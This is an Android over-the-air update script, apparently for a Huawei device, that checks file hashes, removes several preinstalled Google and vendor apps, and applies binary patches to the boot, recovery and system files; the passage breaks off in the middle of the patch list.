assert(apply_patch_check("/system/app/Calendar.apk", "7b07bdf8efd7d7876f2751b873de6ef784ac7a4b", "d740a3fbafdff1c4940f38c90759c83be8814663"));
set_progress(0.054794);
assert(apply_patch_check("/system/app/Contacts.apk", "d1eca7be092992a6b0662700e40d2aed52036cab", "70d9c14ea5b94f2b3bde9167007c229bd1d49e97"));
set_progress(0.068493);
assert(apply_patch_check("/system/app/HwOUC.apk", "c9304d64f3e3d8feb132d6803622b8bbaee1756c", "5c1bbc1403829a93018bc1d98313cea5264baa29"));
set_progress(0.082191);
assert(apply_patch_check("/system/app/LatinIME.apk", "944e1e075efea72f7d03fda81e17fa442e9cc289", "323036948bbe07161a27f5b9ee30f61228a16e51"));
set_progress(0.095890);
assert(apply_patch_check("/system/app/LiveWallpapersPicker.apk", "4180e8f91fb292e140d9a97f0f1dc2fc9cb2de8d", "d66e6b9f2c6909b1679d8cde1346f1500d3774d5"));
set_progress(0.109589);
assert(apply_patch_check("/system/app/Phone.apk", "e1ceceb75ea3290e0b46eb7c05c4e8917ed9a32e", "d0cf87a9fcde5df822eee759d66756ec58eda5a9"));
set_progress(0.123287);
assert(apply_patch_check("/system/app/Settings.apk", "c9222620296e35183c5388328802d960b3788d77", "873c025a7b298df63e5be2abf20d9f05efdd7d6a"));
set_progress(0.136986);
assert(apply_patch_check("/system/bin/debuggerd", "debd82cd5a4dc375a12d23111bd102827c5f9727", "7e8bdd81b0203e64f41ea9f27439565516bd4bd4"));
set_progress(0.150684);
assert(apply_patch_check("/system/bin/loc_api_app", "f778254c3c1af7b4270e311daf3faf05814edb9f", "f8f1532d4bc300ff40fd923c5468f891af8ef656"));
set_progress(0.164383);
assert(apply_patch_check("/system/bin/wpa_supplicant", "4f9a4e68c8f73bdbca4e5c83544e4e7cdc0ba939", "551ecd63f6fe5305ec184d725d9a355632200b26"));
set_progress(0.178082);
assert(apply_patch_check("/system/build.prop", "09513b26717348d9c50dfaa0b6d6babb11cb88ca", "e4cdecfe76c7aee711e95f6a40698a4848dcc54c"));
set_progress(0.191780);
assert(apply_patch_check("/system/etc/security/otacerts.zip", "164581b82e31bd0f41bbe3b507c52fe510d32f11", "3516f7d92f534ac125902172eceddb977709626d"));
set_progress(0.205479);
assert(apply_patch_check("/system/filelist.lst", "d08d32dcf6237143d39f67aac8e690f6e9b2fdeb", "3d6613b028cfae0a98bdc2e63955ec709fb2eb65"));
set_progress(0.219178);
assert(apply_patch_check("/system/framework/am.jar", "f1263ff23bb5ec0510119a517184fb78f3ec1bf1", "1025ff0b3b5b8965ebfe6961c645465455e919a8"));
set_progress(0.232876);
assert(apply_patch_check("/system/framework/android.test.runner.jar", "6faf362dcfc9c1fb93dc5566fd2f768244b6e5a8", "b6450eaf3bf3428b0374579e1662897c5c82e1c0"));
set_progress(0.246575);
assert(apply_patch_check("/system/framework/apache-xml.jar", "48bf0a10a21ee1c5c8532a5cd772d96769cc6c1c", "4e52f5c228e73e7c8fc985785ba7ee9591660ce6"));
set_progress(0.260273);
assert(apply_patch_check("/system/framework/bmgr.jar", "1a62cdc703bc1387af29b31c64c0bb30ffa0bf00", "a1753cc3b53fb18c61cfea6d1ec328743c10f9a1"));
set_progress(0.273972);
assert(apply_patch_check("/system/framework/bouncycastle.jar", "03d8328a330c507028a6ce89e87bd45b15aa36cf", "15d0486c1a145920475db8c0e5fc00aaa3998a28"));
set_progress(0.287671);
assert(apply_patch_check("/system/framework/bu.jar", "0e866d449928c8ae11700f0f8426857bb3581583", "37a6e01b2a77225d242d20a2f5aa8e5214150323"));
set_progress(0.301369);
assert(apply_patch_check("/system/framework/com.android.future.usb.accessory.jar", "be7c1c4b71985caa276221d59bc4a699043efb9a", "867dab3e0b0be4bf7708ad0223ec555f7d4fadd6"));
set_progress(0.315068);
assert(apply_patch_check("/system/framework/com.android.location.provider.jar", "7fd011fa52bf5a09fe427e7e34b5b5a538699979", "6e21fa5f2bc39272654e372579eaf38957d5d6d1"));
set_progress(0.328767);
assert(apply_patch_check("/system/framework/com.qualcomm.location.vzw_library.jar", "6d15016da11c948b775c12b1e8c2e9480d14cbfa", "42308f1971546a3270088a510fd05098d6a081f6"));
set_progress(0.342465);
assert(apply_patch_check("/system/framework/core.jar", "9cc65f677e06de6c7dd3050edc981d51483a1085", "607451d1b904db64cfa4e66bd00295f313f3b5e7"));
set_progress(0.356164);
assert(apply_patch_check("/system/framework/core-junit.jar", "6afa03bac5c06be32564d0297ddca7f0132e40cd", "6132170258a4354ad61b69314b02acc6922456e3"));
set_progress(0.369863);
assert(apply_patch_check("/system/framework/ext.jar", "b8af09e0cedb6f83844bc438546a092c56f679b5", "aefa2cb9d41cb871f29b2fdc20ff0ee3deadd8d8"));
set_progress(0.383561);
assert(apply_patch_check("/system/framework/filterfw.jar", "63800a2d6947ba3a2955e34b5ca213f1fc0ba893", "51fac7bc7bf00bd2fe1b00040923ec34e83ee7d0"));
set_progress(0.397260);
assert(apply_patch_check("/system/framework/framework.jar", "2ce4d4c5615111b451c27f9c88caba547ea7c3ba", "f2d49fe2f6e6cd3a0290a0ad8b5926f0ed30f218"));
set_progress(0.410958);
assert(apply_patch_check("/system/framework/ime.jar", "c11629a74c87ec38f7e7684a2326055eb9aa8ed7", "5f6aa6881fd9fbb24bcb07224dc6ee69a41d29fc"));
set_progress(0.424657);
assert(apply_patch_check("/system/framework/input.jar", "8f63c6dd829f3bc002e7146ac8b22ba0237ebb43", "02da1603b48bfbbd540bb1d197479f40eecd6e4a"));
set_progress(0.438356);
assert(apply_patch_check("/system/framework/javax.obex.jar", "85b50999f15dcfa2edaa7712e452874da6a2c934", "1cad78fbda66b902012661df22cf48a45694abc4"));
set_progress(0.452054);
assert(apply_patch_check("/system/framework/monkey.jar", "131aaf3bb5531a8ed8215a58651852ba8fdb9176", "048ce68c1a48b1c3b6678e678711f43e00b6e58d"));
set_progress(0.465753);
assert(apply_patch_check("/system/framework/pm.jar", "12f9e06e88eda982c3fad843cf688c6b50c9a620", "56bdc7ed8f275db657e10c38f3911d214b1def55"));
set_progress(0.479452);
assert(apply_patch_check("/system/framework/svc.jar", "ef1822447604e77050cafedcd5cfab3554697369", "edc3cb3c02d9ff042803445ccc263a49ddd75c9d"));
set_progress(0.493150);
assert(apply_patch_check("/system/lib/hw/sensors.default.so", "3ece9581eefacece5461c66c005128144f52dd35", "b8b9cf07d8b94a2602e8a24f379a84e20b54232a"));
set_progress(0.506849);
assert(apply_patch_check("/system/lib/libbcc.so", "bcb88c1455b162c967c4dc4dff53d4085133b76c", "d8123d891f29658506a84ade39213da093d0f126"));
set_progress(0.520547);
assert(apply_patch_check("/system/lib/libbcc.so.sha1", "cf915ec189f01b2a3b32ed7b27494133339b8aa4", "2494ccfe882affc2d806934a6361c53efd1b3ace"));
set_progress(0.534246);
assert(apply_patch_check("/system/lib/libchromium_net.so", "a02c04d98ef83b48a48e53f3bfa8ecd3158a78b0", "30d988f2869cec2cc17d142f0b021ffffa4f8763"));
set_progress(0.547945);
assert(apply_patch_check("/system/lib/libstagefright.so", "d8514a1b1d72f8e391258bce4a483ecd1e696b4e", "146e497677407dcd4c7c42392607125a138a5470"));
set_progress(0.561643);
assert(apply_patch_check("/system/lib/libwebrtc_audio_preprocessing.so", "2edd1a116a49c3166c103d30000bf25febc0a698", "5e20f65841b9473b82d9c41aa5ae3eb3789c04a1"));
set_progress(0.575342);
assert(apply_patch_check("/system/lib/modules/ansi_cprng.ko", "8be719b13a0f843d225b33d16f528af7531e6ddd", "b9118ca84f34566c85426408719c919fb287c0e4"));
set_progress(0.589041);
assert(apply_patch_check("/system/lib/modules/cls_flow.ko", "a22cf3e7ffec12abe046b0fd9c5aac89267885c4", "dc7ad6813d92a50c13a311fea24c0ed233ac1919"));
set_progress(0.602739);
assert(apply_patch_check("/system/lib/modules/cpaccess.ko", "6fff665d27592ae4c08216583b5562d601ca7f55", "a50d779238ba144ff7dd06b9b95a1eae5fc24d3d"));
set_progress(0.616438);
assert(apply_patch_check("/system/lib/modules/dal_remotetest.ko", "79cd9cd2edaa80f4835920c57a90cd114231e52c", "8f449afd55b9f74cca58763ab17044c5e11dc174"));
set_progress(0.630136);
assert(apply_patch_check("/system/lib/modules/dma_test.ko", "4941d8e71792aa824fe85c8d8da92ac945c591aa", "1be55f665754d042afd04a6bb28081e201ae9326"));
set_progress(0.643835);
assert(apply_patch_check("/system/lib/modules/evbug.ko", "8b269be05112770a08b63d5a979ae057dbfc397a", "bec3b65095f0aa4eac96357f82f23a34531894f7"));
set_progress(0.657534);
assert(apply_patch_check("/system/lib/modules/gspca_main.ko", "d591954af7ff5b9ba871ef271d2b6d74c1505d61", "8951954433196b418e44fe3166339695383d6b43"));
set_progress(0.671232);
assert(apply_patch_check("/system/lib/modules/librasdioif.ko", "c1cce921f566386d3911142b7755d04d1aa44e6f", "5cb5990c2c23c989d6bf2015721c9acb261a2c70"));
set_progress(0.684931);
assert(apply_patch_check("/system/lib/modules/mtd_erasepart.ko", "43610fc90b9fd4d844b14f1916b8a25de92a8624", "e286fb9cfb1d1ab1097d0e49b2eff315720eed61"));
set_progress(0.698630);
assert(apply_patch_check("/system/lib/modules/mtd_nandecctest.ko", "60f7e5b8811cbc4f8f4777118107338c31919a85", "3ee54874699b553a697f15ce2b96350b41591d61"));
set_progress(0.712328);
assert(apply_patch_check("/system/lib/modules/mtd_oobtest.ko", "2219b649a09f036c22bbfe3bd6f05453540f2b35", "94ad985011fe3a8af9fe7eded1dcb622dd2ed760"));
set_progress(0.726027);
assert(apply_patch_check("/system/lib/modules/mtd_pagetest.ko", "37af595b2543e5bef991af46b5b810af506782bd", "10a51661bfd91ab9fb5d5345dc50134d6857e651"));
set_progress(0.739726);
assert(apply_patch_check("/system/lib/modules/mtd_readtest.ko", "719c719aa7090cf9d59351705392804c49a5cd8e", "60d59b4d473920c9880ced156e7de37aa1c4be07"));
set_progress(0.753424);
assert(apply_patch_check("/system/lib/modules/mtd_speedtest.ko", "ebabf4c38147ab3c157ac6c258ffee946b99acdb", "8f833e255feb206adf0a22652ec53ce0e7c14e3b"));
set_progress(0.767123);
assert(apply_patch_check("/system/lib/modules/mtd_stresstest.ko", "d316f2878f2cdbf1bb886cf7415df4e7d2d82357", "f14f400fb2c8d7b573a3a4bd5c8eaca39fc8f003"));
set_progress(0.780821);
assert(apply_patch_check("/system/lib/modules/mtd_subpagetest.ko", "29e351592114082850fcf65757223206ba8c402a", "cb148dc3ec087d42bba2e58ab6766144b48d03df"));
set_progress(0.794520);
assert(apply_patch_check("/system/lib/modules/mtd_torturetest.ko", "84956e0078734e182095d309c56a50b58e318b71", "dd41fbff40a953d14917ce838f501c13b4dc5c72"));
set_progress(0.808219);
assert(apply_patch_check("/system/lib/modules/qcedev.ko", "69ef242afc3110a69a9bd93fa2447b5c5ea83f95", "6cb8bf4d561ed8a7c4428a12521831ceba4b66b9"));
set_progress(0.821917);
assert(apply_patch_check("/system/lib/modules/qce.ko", "95fa8d3ea5ea22371206cb28f7c12a13f282fd18", "54fba332546c45b875f492f1073c3c796aafd92e"));
set_progress(0.835616);
assert(apply_patch_check("/system/lib/modules/qcrypto.ko", "98efd1173319764aec761a4ee1ad6cac3c2d296d", "2215d80dabaa980922719f1e234a02e4e38426ab"));
set_progress(0.849315);
assert(apply_patch_check("/system/lib/modules/reset_modem.ko", "43b55f733041eb026eb86fd3f390c196d724d056", "653720b7acfeccc5235053a6e414e86723fe0ef5"));
set_progress(0.863013);
assert(apply_patch_check("/system/lib/modules/sch_dsmark.ko", "d208f5d7aa9320998ff02eabe9e3bf179a6a4c9f", "adbbba943f17a5b66f4fd43b1413cb848157f8c8"));
set_progress(0.876712);
assert(apply_patch_check("/system/lib/modules/scsi_wait_scan.ko", "8fd0829f1be37f272d6878293679b0fe70c8420a", "f282e7d06acdd326e93851c8ae9af6a2377684de"));
set_progress(0.890410);
assert(apply_patch_check("/fat/image/amss.mbn", "a0329c0d7d65387f8945ab62774b1cb4cecf39d0", "117f089da080ccb8c481a08e557e08cf54bcbc1f"));
set_progress(0.904109);
assert(apply_patch_check("/system/app/Cloud.apk", "2c158b1ea8477d094245bb80e65abdef5550fefd", "d5f1be3397fa3d40231d00e9fb8f2f10fbd59538"));
set_progress(0.917808);
assert(apply_patch_check("/system/app/Mms.apk", "65d8edaa7eccb55904a4ce38caed816533a9d61f", "81264cef8a3c402483a3e7e983c25e6bf06fb339"));
set_progress(0.931506);
assert(apply_patch_check("/system/app/ProjectMenuAct.apk", "ed45bddca81e4bc4eb667f03443875365e6fd1dd", "774844aae75e591e9edb22fdcfa5c40ba7b180a4"));
set_progress(0.945205);
assert(apply_patch_check("/system/bin/diag_mdlog", "742e01e84571e7005944c7d24f45c50e1dfe887b", "5c29110b213104906c39997e33a11927910fe855"));
set_progress(0.958904);
assert(apply_patch_check("/system/cdrom/autorun.iso", "b6a23680be8496627837f8862902e0393fac190b", "5d64ca08167c5652a4402f5c1fd14956427b28bf"));
set_progress(0.972602);
assert(apply_patch_check("/system/etc/apns-conf.xml", "ccfd9ef742a770ae05d38f4792f47b51603c64b5", "6d6409eed62a283b97c86a03df4b27a2764e8926"));
set_progress(0.986301);
assert(apply_patch_check("/system/framework/android.policy.jar", "6151178cfc9f0537e35c28cd40776a29f435ffdd", "9dbdeb10476ae2ce4495fe34f65dc71ba0c08528"));
set_progress(1.000000);
assert(apply_patch_check("/system/framework/services.jar", "a220240ff41d21d0433b4fc76c1c67e918d52955", "3891380a430a1df7d687f9aac6bbc00d842ab565"));
show_progress(0.050000, 0);
ui_print("Removing unneeded files...");
set_progress(0.066666);
delete("/data_pseudo/custom.bin");
set_progress(0.133333);
delete("/system/app/AppServer_V100R001C37B05SP04.apk");
set_progress(0.200000);
delete("/system/app/Gmail.apk");
set_progress(0.266666);
delete("/system/app/GoogleContactsSyncAdapter.apk");
set_progress(0.333333);
delete("/system/app/GoogleFeedback.apk");
set_progress(0.400000);
delete("/system/app/GoogleLoginService.apk");
set_progress(0.466666);
delete("/system/app/GooglePartnerSetup.apk");
set_progress(0.533333);
delete("/system/app/Maps.apk");
set_progress(0.600000);
delete("/system/app/MarketUpdater.apk");
set_progress(0.666666);
delete("/system/app/NetworkLocation.apk");
set_progress(0.733333);
delete("/system/app/OneTimeInitializer.apk");
set_progress(0.800000);
delete("/system/app/Phonesky.apk");
set_progress(0.866666);
delete("/system/app/Street.apk");
set_progress(0.933333);
delete("/system/app/WAPPushManager.apk");
ui_print("Patching files...");
show_progress(0.700000, 0);
set_progress(0.013698);
assert(apply_patch("/fat/image/boot.img", "-",
102370c12f5015fb04d68d493dc60a4a79e45378, 4804608,
"f35ff985451cdc557fff4d23a915d45ca3de6a24",
package_extract_file("patch/fat/image/boot.img.p")));
set_progress(0.027397);
apply_patch("/fat/image/recovery.img", "/fat/image/recovery.img.bkup",
854ab50b6440653d6928b5eab8f0c64ada3ea261, 7192576,
"3dafd1e7fde17e4d5ee1d6900ae7f686aa4d670b",
package_extract_file("patch/fat/image/recovery.img.p"));
assert(apply_patch_check("/fat/image/recovery.img.bkup", "854ab50b6440653d6928b5eab8f0c64ada3ea261", "854ab50b6440653d6928b5eab8f0c64ada3ea261")||
apply_patch_check("/fat/image/recovery.img", "854ab50b6440653d6928b5eab8f0c64ada3ea261", "854ab50b6440653d6928b5eab8f0c64ada3ea261"));
set_progress(0.041095);
assert(apply_patch("/system/app/Calendar.apk", "-",
7b07bdf8efd7d7876f2751b873de6ef784ac7a4b, 1134574,
"d740a3fbafdff1c4940f38c90759c83be8814663",
package_extract_file("patch/system/app/Calendar.apk.p")));
set_progress(0.054794);
assert(apply_patch("/system/app/Contacts.apk", "-",
d1eca7be092992a6b0662700e40d2aed52036cab, 3074320,
"70d9c14ea5b94f2b3bde9167007c229bd1d49e97",
package_extract_file("patch/system/app/Contacts.apk.p")));
set_progress(0.068493);
assert(apply_patch("/system/app/HwOUC.apk", "-",
c9304d64f3e3d8feb132d6803622b8bbaee1756c, 584823,
"5c1bbc1403829a93018bc1d98313cea5264baa29",
package_extract_file("patch/system/app/HwOUC.apk.p")));
set_progress(0.082191);
assert(apply_patch("/system/app/LatinIME.apk", "-",
944e1e075efea72f7d03fda81e17fa442e9cc289, 1325838,
"323036948bbe07161a27f5b9ee30f61228a16e51",
package_extract_file("patch/system/app/LatinIME.apk.p")));
set_progress(0.095890);
assert(apply_patch("/system/app/LiveWallpapersPicker.apk", "-",
4180e8f91fb292e140d9a97f0f1dc2fc9cb2de8d, 232420,
"d66e6b9f2c6909b1679d8cde1346f1500d3774d5",
package_extract_file("patch/system/app/LiveWallpapersPicker.apk.p")));
set_progress(0.109589);
assert(apply_patch("/system/app/Phone.apk", "-",
e1ceceb75ea3290e0b46eb7c05c4e8917ed9a32e, 2660064,
"d0cf87a9fcde5df822eee759d66756ec58eda5a9",
package_extract_file("patch/system/app/Phone.apk.p")));
set_progress(0.123287);
assert(apply_patch("/system/app/Settings.apk", "-",
c9222620296e35183c5388328802d960b3788d77, 7677409,
"873c025a7b298df63e5be2abf20d9f05efdd7d6a",
package_extract_file("patch/system/app/Settings.apk.p")));
set_progress(0.136986);
assert(apply_patch("/system/bin/debuggerd", "-",
debd82cd5a4dc375a12d23111bd102827c5f9727, 22372,
"7e8bdd81b0203e64f41ea9f27439565516bd4bd4",
package_extract_file("patch/system/bin/debuggerd.p")));
set_progress(0.150684);
assert(apply_patch("/system/bin/loc_api_app", "-",
f778254c3c1af7b4270e311daf3faf05814edb9f, 40444,
"f8f1532d4bc300ff40fd923c5468f891af8ef656",
package_extract_file("patch/system/bin/loc_api_app.p")));
set_progress(0.164383);
assert(apply_patch("/system/bin/wpa_supplicant", "-",
4f9a4e68c8f73bdbca4e5c83544e4e7cdc0ba939, 537108,
"551ecd63f6fe5305ec184d725d9a355632200b26",
package_extract_file("patch/system/bin/wpa_supplicant.p")));
set_progress(0.178082);
assert(apply_patch("/system/build.prop", "-",
09513b26717348d9c50dfaa0b6d6babb11cb88ca, 11332,
"e4cdecfe76c7aee711e95f6a40698a4848dcc54c",
package_extract_file("patch/system/build.prop.p")));
set_progress(0.191780);
assert(apply_patch("/system/etc/security/otacerts.zip", "-",
164581b82e31bd0f41bbe3b507c52fe510d32f11, 1276,
"3516f7d92f534ac125902172eceddb977709626d",
package_extract_file("patch/system/etc/security/otacerts.zip.p")));
set_progress(0.205479);
assert(apply_patch("/system/filelist.lst", "-",
d08d32dcf6237143d39f67aac8e690f6e9b2fdeb, 18135,
"3d6613b028cfae0a98bdc2e63955ec709fb2eb65",
package_extract_file("patch/system/filelist.lst.p")));
set_progress(0.219178);
assert(apply_patch("/system/framework/am.jar", "-",
f1263ff23bb5ec0510119a517184fb78f3ec1bf1, 16571,
"1025ff0b3b5b8965ebfe6961c645465455e919a8",
package_extract_file("patch/system/framework/am.jar.p")));
set_progress(0.232876);
assert(apply_patch("/system/framework/android.test.runner.jar", "-",
6faf362dcfc9c1fb93dc5566fd2f768244b6e5a8, 71095,
"b6450eaf3bf3428b0374579e1662897c5c82e1c0",
package_extract_file("patch/system/framework/android.test.runner.jar.p")));
set_progress(0.246575);
assert(apply_patch("/system/framework/apache-xml.jar", "-",
48bf0a10a21ee1c5c8532a5cd772d96769cc6c1c, 549357,
"4e52f5c228e73e7c8fc985785ba7ee9591660ce6",
package_extract_file("patch/system/framework/apache-xml.jar.p")));
set_progress(0.260273);
assert(apply_patch("/system/framework/bmgr.jar", "-",
1a62cdc703bc1387af29b31c64c0bb30ffa0bf00, 6562,
"a1753cc3b53fb18c61cfea6d1ec328743c10f9a1",
package_extract_file("patch/system/framework/bmgr.jar.p")));
set_progress(0.273972);
assert(apply_patch("/system/framework/bouncycastle.jar", "-",
03d8328a330c507028a6ce89e87bd45b15aa36cf, 358231,
"15d0486c1a145920475db8c0e5fc00aaa3998a28",
package_extract_file("patch/system/framework/bouncycastle.jar.p")));
set_progress(0.287671);
assert(apply_patch("/system/framework/bu.jar", "-",
0e866d449928c8ae11700f0f8426857bb3581583, 2473,
"37a6e01b2a77225d242d20a2f5aa8e5214150323",
package_extract_file("patch/system/framework/bu.jar.p")));
set_progress(0.301369);
assert(apply_patch("/system/framework/com.android.future.usb.accessory.jar", "-",
be7c1c4b71985caa276221d59bc4a699043efb9a, 2781,
"867dab3e0b0be4bf7708ad0223ec555f7d4fadd6",
package_extract_file("patch/system/framework/com.android.future.usb.accessory.jar.p")));
set_progress(0.315068);
assert(apply_patch("/system/framework/com.android.location.provider.jar", "-",
7fd011fa52bf5a09fe427e7e34b5b5a538699979, 3216,
"6e21fa5f2bc39272654e372579eaf38957d5d6d1",
package_extract_file("patch/system/framework/com.android.location.provider.jar.p")));
set_progress(0.328767);
assert(apply_patch("/system/framework/com.qualcomm.location.vzw_library.jar", "-",
6d15016da11c948b775c12b1e8c2e9480d14cbfa, 18062,
"42308f1971546a3270088a510fd05098d6a081f6",
package_extract_file("patch/system/framework/com.qualcomm.location.vzw_library.jar.p")));
set_progress(0.342465);
assert(apply_patch("/system/framework/core.jar", "-",
9cc65f677e06de6c7dd3050edc981d51483a1085, 1275530,
"607451d1b904db64cfa4e66bd00295f313f3b5e7",
package_extract_file("patch/system/framework/core.jar.p")));
set_progress(0.356164);
assert(apply_patch("/system/framework/core-junit.jar", "-",
6afa03bac5c06be32564d0297ddca7f0132e40cd, 9981,
"6132170258a4354ad61b69314b02acc6922456e3",
package_extract_file("patch/system/framework/core-junit.jar.p")));
set_progress(0.369863);
assert(apply_patch("/system/framework/ext.jar", "-",
b8af09e0cedb6f83844bc438546a092c56f679b5, 991822,
"aefa2cb9d41cb871f29b2fdc20ff0ee3deadd8d8",
package_extract_file("patch/system/framework/ext.jar.p")));
set_progress(0.383561);
assert(apply_patch("/system/framework/filterfw.jar", "-",
63800a2d6947ba3a2955e34b5ca213f1fc0ba893, 117046,
"51fac7bc7bf00bd2fe1b00040923ec34e83ee7d0",
package_extract_file("patch/system/framework/filterfw.jar.p")));
set_progress(0.397260);
assert(apply_patch("/system/framework/framework.jar", "-",
2ce4d4c5615111b451c27f9c88caba547ea7c3ba, 3975873,
"f2d49fe2f6e6cd3a0290a0ad8b5926f0ed30f218",
package_extract_file("patch/system/framework/framework.jar.p")));
set_progress(0.410958);
assert(apply_patch("/system/framework/ime.jar", "-",
c11629a74c87ec38f7e7684a2326055eb9aa8ed7, 3318,
"5f6aa6881fd9fbb24bcb07224dc6ee69a41d29fc",
package_extract_file("patch/system/framework/ime.jar.p")));
set_progress(0.424657);
assert(apply_patch("/system/framework/input.jar", "-",
8f63c6dd829f3bc002e7146ac8b22ba0237ebb43, 2437,
"02da1603b48bfbbd540bb1d197479f40eecd6e4a",
package_extract_file("patch/system/framework/input.jar.p")));
set_progress(0.438356);
assert(apply_patch("/system/framework/javax.obex.jar", "-",
85b50999f15dcfa2edaa7712e452874da6a2c934, 25277,
"1cad78fbda66b902012661df22cf48a45694abc4",
package_extract_file("patch/system/framework/javax.obex.jar.p")));
set_progress(0.452054);
assert(apply_patch("/system/framework/monkey.jar", "-",
131aaf3bb5531a8ed8215a58651852ba8fdb9176, 46695,
"048ce68c1a48b1c3b6678e678711f43e00b6e58d",
package_extract_file("patch/system/framework/monkey.jar.p")));
set_progress(0.465753);
assert(apply_patch("/system/framework/pm.jar", "-",
12f9e06e88eda982c3fad843cf688c6b50c9a620, 13108,
"56bdc7ed8f275db657e10c38f3911d214b1def55",
package_extract_file("patch/system/framework/pm.jar.p")));
set_progress(0.479452);
assert(apply_patch("/system/framework/svc.jar", "-",
ef1822447604e77050cafedcd5cfab3554697369, 3783,
"edc3cb3c02d9ff042803445ccc263a49ddd75c9d",
package_extract_file("patch/system/framework/svc.jar.p")));
set_progress(0.493150);
assert(apply_patch("/system/lib/hw/sensors.default.so", "-",
3ece9581eefacece5461c66c005128144f52dd35, 23240,
"b8b9cf07d8b94a2602e8a24f379a84e20b54232a",
package_extract_file("patch/system/lib/hw/sensors.default.so.p")));
set_progress(0.506849);
assert(apply_patch("/system/lib/libbcc.so", "-",
bcb88c1455b162c967c4dc4dff53d4085133b76c, 4512772,
"d8123d891f29658506a84ade39213da093d0f126",
package_extract_file("patch/system/lib/libbcc.so.p")));
set_progress(0.520547);
assert(apply_patch("/system/lib/libbcc.so.sha1", "-",
cf915ec189f01b2a3b32ed7b27494133339b8aa4, 20,
"2494ccfe882affc2d806934a6361c53efd1b3ace",
package_extract_file("patch/system/lib/libbcc.so.sha1.p")));
set_progress(0.534246);
assert(apply_patch("/system/lib/libchromium_net.so", "-",
a02c04d98ef83b48a48e53f3bfa8ecd3158a78b0, 1828736,
"30d988f2869cec2cc17d142f0b021ffffa4f8763",
package_extract_file("patch/system/lib/libchromium_net.so.p")));
set_progress(0.547945);
assert(apply_patch("/system/lib/libstagefright.so", "-",
d8514a1b1d72f8e391258bce4a483ecd1e696b4e, 1362028,
"146e497677407dcd4c7c42392607125a138a5470",
package_extract_file("patch/system/lib/libstagefright.so.p")));
set_progress(0.561643);
assert(apply_patch("/system/lib/libwebrtc_audio_preprocessing.so", "-",
2edd1a116a49c3166c103d30000bf25febc0a698, 275748,
"5e20f65841b9473b82d9c41aa5ae3eb3789c04a1",
package_extract_file("patch/system/lib/libwebrtc_audio_preprocessing.so.p")));
set_progress(0.575342);
assert(apply_patch("/system/lib/modules/ansi_cprng.ko", "-",
8be719b13a0f843d225b33d16f528af7531e6ddd, 104697,
"b9118ca84f34566c85426408719c919fb287c0e4",
package_extract_file("patch/system/lib/modules/ansi_cprng.ko.p")));
set_progress(0.589041);
assert(apply_patch("/system/lib/modules/cls_flow.ko", "-",
a22cf3e7ffec12abe046b0fd9c5aac89267885c4, 214766,
"dc7ad6813d92a50c13a311fea24c0ed233ac1919",
package_extract_file("patch/system/lib/modules/cls_flow.ko.p")));
set_progress(0.602739);
assert(apply_patch("/system/lib/modules/cpaccess.ko", "-",
6fff665d27592ae4c08216583b5562d601ca7f55, 92410,
"a50d779238ba144ff7dd06b9b95a1eae5fc24d3d",
package_extract_file("patch/system/lib/modules/cpaccess.ko.p")));
set_progress(0.616438);
assert(apply_patch("/system/lib/modules/dal_remotetest.ko", "-",
79cd9cd2edaa80f4835920c57a90cd114231e52c, 81219,
"8f449afd55b9f74cca58763ab17044c5e11dc174",
package_extract_file("patch/system/lib/modules/dal_remotetest.ko.p")));
set_progress(0.630136);
assert(apply_patch("/system/lib/modules/dma_test.ko", "-",
4941d8e71792aa824fe85c8d8da92ac945c591aa, 105044,
"1be55f665754d042afd04a6bb28081e201ae9326",
package_extract_file("patch/system/lib/modules/dma_test.ko.p")));
set_progress(0.643835);
assert(apply_patch("/system/lib/modules/evbug.ko", "-",
8b269be05112770a08b63d5a979ae057dbfc397a, 75270,
"bec3b65095f0aa4eac96357f82f23a34531894f7",
package_extract_file("patch/system/lib/modules/evbug.ko.p")));
set_progress(0.657534);
assert(apply_patch("/system/lib/modules/gspca_main.ko", "-",
d591954af7ff5b9ba871ef271d2b6d74c1505d61, 206673,
"8951954433196b418e44fe3166339695383d6b43",
package_extract_file("patch/system/lib/modules/gspca_main.ko.p")));
set_progress(0.671232);
assert(apply_patch("/system/lib/modules/librasdioif.ko", "-",
c1cce921f566386d3911142b7755d04d1aa44e6f, 102723,
"5cb5990c2c23c989d6bf2015721c9acb261a2c70",
package_extract_file("patch/system/lib/modules/librasdioif.ko.p")));
set_progress(0.684931);
assert(apply_patch("/system/lib/modules/mtd_erasepart.ko", "-",
43610fc90b9fd4d844b14f1916b8a25de92a8624, 70541,
"e286fb9cfb1d1ab1097d0e49b2eff315720eed61",
package_extract_file("patch/system/lib/modules/mtd_erasepart.ko.p")));
set_progress(0.698630);
assert(apply_patch("/system/lib/modules/mtd_nandecctest.ko", "-",
60f7e5b8811cbc4f8f4777118107338c31919a85, 25918,
"3ee54874699b553a697f15ce2b96350b41591d61",
package_extract_file("patch/system/lib/modules/mtd_nandecctest.ko.p")));
set_progress(0.712328);
assert(apply_patch("/system/lib/modules/mtd_oobtest.ko", "-",
2219b649a09f036c22bbfe3bd6f05453540f2b35, 83586,
"94ad985011fe3a8af9fe7eded1dcb622dd2ed760",
package_extract_file("patch/system/lib/modules/mtd_oobtest.ko.p")));
set_progress(0.726027);
assert(apply_patch("/system/lib/modules/mtd_pagetest.ko", "-",
37af595b2543e5bef991af46b5b810af506782bd, 87237,
"10a51661bfd91ab9fb5d5345dc50134d6857e651",
package_extract_file("patch/system/lib/modules/mtd_pagetest.ko.p")));
set_progress(0.739726);
assert(apply_patch("/system/lib/modules/mtd_readtest.ko", "-",
719c719aa7090cf9d59351705392804c49a5cd8e, 74549,
"60d59b4d473920c9880ced156e7de37aa1c4be07",
package_extract_file("patch/system/lib/modules/mtd_readtest.ko.p")));
set_progress(0.753424);
assert(apply_patch("/system/lib/modules/mtd_speedtest.ko", "-",
ebabf4c38147ab3c157ac6c258ffee946b99acdb, 88304,
"8f833e255feb206adf0a22652ec53ce0e7c14e3b",
package_extract_file("patch/system/lib/modules/mtd_speedtest.ko.p")));
set_progress(0.767123);
assert(apply_patch("/system/lib/modules/mtd_stresstest.ko", "-",
d316f2878f2cdbf1bb886cf7415df4e7d2d82357, 80529,
"f14f400fb2c8d7b573a3a4bd5c8eaca39fc8f003",
package_extract_file("patch/system/lib/modules/mtd_stresstest.ko.p")));
set_progress(0.780821);
assert(apply_patch("/system/lib/modules/mtd_subpagetest.ko", "-",
29e351592114082850fcf65757223206ba8c402a, 84225,
"cb148dc3ec087d42bba2e58ab6766144b48d03df",
package_extract_file("patch/system/lib/modules/mtd_subpagetest.ko.p")));
set_progress(0.794520);
assert(apply_patch("/system/lib/modules/mtd_torturetest.ko", "-",
84956e0078734e182095d309c56a50b58e318b71, 91253,
